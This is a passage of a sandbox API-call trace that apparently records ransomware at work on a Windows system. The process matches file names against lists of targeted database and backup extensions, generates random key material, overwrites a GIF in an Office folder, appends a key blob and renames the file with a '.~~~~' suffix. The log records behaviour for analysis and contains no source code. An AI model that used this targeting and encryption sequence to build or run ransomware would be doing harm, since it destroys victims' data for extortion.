	[0143.239] lstrlenW (lpString=".SDF") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".SDF") returned 0x0
	[0143.239] lstrlenW (lpString=".dtxs") returned 5
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.239] lstrlenW (lpString=".db3") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".db3") returned 0x0
	[0143.239] lstrlenW (lpString=".OST") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".OST") returned 0x0
	[0143.239] lstrlenW (lpString=".dbx") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dbx") returned 0x0
	[0143.239] lstrlenW (lpString=".DB3") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DB3") returned 0x0
	[0143.239] lstrlenW (lpString=".DAT") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DAT") returned 0x0
	[0143.239] lstrlenW (lpString=".VHDX") returned 5
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.239] lstrlenW (lpString=".ndf") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".ndf") returned 0x0
	[0143.239] lstrlenW (lpString=".DB") returned 3
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DB") returned 0x0
	[0143.239] lstrlenW (lpString=".sql") returned 4
	[0143.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".sql") returned 0x0
	[0143.240] lstrlenW (lpString=".MYD") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".MYD") returned 0x0
	[0143.240] lstrlenW (lpString=".DBT") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DBT") returned 0x0
	[0143.240] lstrlenW (lpString=".ACCDB") returned 6
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.240] lstrlenW (lpString=".fdb") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".fdb") returned 0x0
	[0143.240] lstrlenW (lpString=".bak") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".bak") returned 0x0
	[0143.240] lstrlenW (lpString=".myd") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".myd") returned 0x0
	[0143.240] lstrlenW (lpString=".DTXS") returned 5
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.240] lstrlenW (lpString=".ckp") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".ckp") returned 0x0
	[0143.240] lstrlenW (lpString=".dbt") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".dbt") returned 0x0
	[0143.240] lstrlenW (lpString=".db") returned 3
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".db") returned 0x0
	[0143.240] lstrlenW (lpString=".TXT") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".TXT") returned 0x0
	[0143.240] lstrlenW (lpString=".MDF") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".MDF") returned 0x0
	[0143.240] lstrlenW (lpString=".bdb") returned 4
	[0143.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".bdb") returned 0x0
	[0143.241] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.241] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.242] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.242] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.242] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26323252569) returned 1
	[0143.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbec86c30, dwHighDateTime=0x1d60e1e)) 
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5460
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5460 | out: hHeap=0x300000) returned 1
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab408
	[0143.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab408 | out: hHeap=0x300000) returned 1
	[0143.243] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.243] GetLastError () returned 0x0
	[0143.244] GetLastError () returned 0x0
	[0143.244] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.244] GetLastError () returned 0x0
	[0143.244] GetLastError () returned 0x0
	[0143.244] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x67f9, lpOverlapped=0x0) returned 1
	[0143.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff9807, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.473] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x67f9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x67f9, lpOverlapped=0x0) returned 1
	[0143.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.473] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.473] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.473] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.474] CloseHandle (hObject=0x114) returned 1
	[0143.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab600
	[0143.517] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif.~~~~")) returned 1
	[0143.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab600 | out: hHeap=0x300000) returned 1
	[0143.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.520] GetLastError () returned 0x0
	[0143.520] RtlWakeConditionVariable () returned 0x0
	[0143.520] GetCurrentThreadId () returned 0x3a4
	[0143.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".scr") returned 0x0
	[0143.520] lstrlenW (lpString=".cmd") returned 4
	[0143.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".cmd") returned 0x0
	[0143.520] lstrlenW (lpString=".dll") returned 4
	[0143.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dll") returned 0x0
	[0143.520] lstrlenW (lpString=".bat") returned 4
	[0143.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".bat") returned 0x0
	[0143.520] lstrlenW (lpString=".cpl") returned 4
	[0143.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".cpl") returned 0x0
	[0143.521] lstrlenW (lpString=".sys") returned 4
	[0143.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".sys") returned 0x0
	[0143.521] lstrlenW (lpString=".msc") returned 4
	[0143.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".msc") returned 0x0
	[0143.521] lstrlenW (lpString=".com") returned 4
	[0143.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".com") returned 0x0
	[0143.521] lstrlenW (lpString=".lnk") returned 4
	[0143.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".lnk") returned 0x0
	[0143.521] lstrlenW (lpString=".msp") returned 4
	[0143.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".msp") returned 0x0
	[0143.521] lstrlenW (lpString=".pif") returned 4
	[0143.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".pif") returned 0x0
	[0143.521] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.523] lstrlenW (lpString=".sqb") returned 4
	[0143.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".sqb") returned 0x0
	[0143.523] lstrlenW (lpString=".ost") returned 4
	[0143.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".ost") returned 0x0
	[0143.523] lstrlenW (lpString=".txt") returned 4
	[0143.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".txt") returned 0x0
	[0143.523] lstrlenW (lpString=".mdt") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".mdt") returned 0x0
	[0143.524] lstrlenW (lpString=".BDB") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".BDB") returned 0x0
	[0143.524] lstrlenW (lpString=".eql") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".eql") returned 0x0
	[0143.524] lstrlenW (lpString=".DBF") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DBF") returned 0x0
	[0143.524] lstrlenW (lpString=".EQL") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".EQL") returned 0x0
	[0143.524] lstrlenW (lpString=".FDB") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".FDB") returned 0x0
	[0143.524] lstrlenW (lpString=".EDB") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".EDB") returned 0x0
	[0143.524] lstrlenW (lpString=".DACPAC") returned 7
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.524] lstrlenW (lpString=".VHD") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".VHD") returned 0x0
	[0143.524] lstrlenW (lpString=".DBV") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DBV") returned 0x0
	[0143.524] lstrlenW (lpString=".dacpac") returned 7
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.524] lstrlenW (lpString=".sdf") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".sdf") returned 0x0
	[0143.524] lstrlenW (lpString=".accdb") returned 6
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".accdb") returned 0x0
	[0143.524] lstrlenW (lpString=".DBX") returned 4
	[0143.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DBX") returned 0x0
	[0143.524] lstrlenW (lpString=".MDT") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".MDT") returned 0x0
	[0143.525] lstrlenW (lpString=".SQB") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".SQB") returned 0x0
	[0143.525] lstrlenW (lpString=".vhd") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".vhd") returned 0x0
	[0143.525] lstrlenW (lpString=".bac") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".bac") returned 0x0
	[0143.525] lstrlenW (lpString=".mdf") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".mdf") returned 0x0
	[0143.525] lstrlenW (lpString=".BAK") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".BAK") returned 0x0
	[0143.525] lstrlenW (lpString=".BAC") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".BAC") returned 0x0
	[0143.525] lstrlenW (lpString=".dbs") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dbs") returned 0x0
	[0143.525] lstrlenW (lpString=".vhdx") returned 5
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.525] lstrlenW (lpString=".NDF") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".NDF") returned 0x0
	[0143.525] lstrlenW (lpString=".dat") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dat") returned 0x0
	[0143.525] lstrlenW (lpString=".DBS") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DBS") returned 0x0
	[0143.525] lstrlenW (lpString=".CKP") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".CKP") returned 0x0
	[0143.525] lstrlenW (lpString=".edb") returned 4
	[0143.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".edb") returned 0x0
	[0143.526] lstrlenW (lpString=".PST") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".PST") returned 0x0
	[0143.526] lstrlenW (lpString=".dbf") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dbf") returned 0x0
	[0143.526] lstrlenW (lpString=".SQL") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".SQL") returned 0x0
	[0143.526] lstrlenW (lpString=".pst") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".pst") returned 0x0
	[0143.526] lstrlenW (lpString=".dbv") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dbv") returned 0x0
	[0143.526] lstrlenW (lpString=".SDF") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".SDF") returned 0x0
	[0143.526] lstrlenW (lpString=".dtxs") returned 5
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.526] lstrlenW (lpString=".db3") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".db3") returned 0x0
	[0143.526] lstrlenW (lpString=".OST") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".OST") returned 0x0
	[0143.526] lstrlenW (lpString=".dbx") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".dbx") returned 0x0
	[0143.526] lstrlenW (lpString=".DB3") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DB3") returned 0x0
	[0143.526] lstrlenW (lpString=".DAT") returned 4
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DAT") returned 0x0
	[0143.526] lstrlenW (lpString=".VHDX") returned 5
	[0143.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.526] lstrlenW (lpString=".ndf") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".ndf") returned 0x0
	[0143.527] lstrlenW (lpString=".DB") returned 3
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DB") returned 0x0
	[0143.527] lstrlenW (lpString=".sql") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".sql") returned 0x0
	[0143.527] lstrlenW (lpString=".MYD") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".MYD") returned 0x0
	[0143.527] lstrlenW (lpString=".DBT") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DBT") returned 0x0
	[0143.527] lstrlenW (lpString=".ACCDB") returned 6
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.527] lstrlenW (lpString=".fdb") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".fdb") returned 0x0
	[0143.527] lstrlenW (lpString=".bak") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".bak") returned 0x0
	[0143.527] lstrlenW (lpString=".myd") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".myd") returned 0x0
	[0143.527] lstrlenW (lpString=".DTXS") returned 5
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.527] lstrlenW (lpString=".ckp") returned 4
	[0143.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", lpSrch=".ckp") returned 0x0
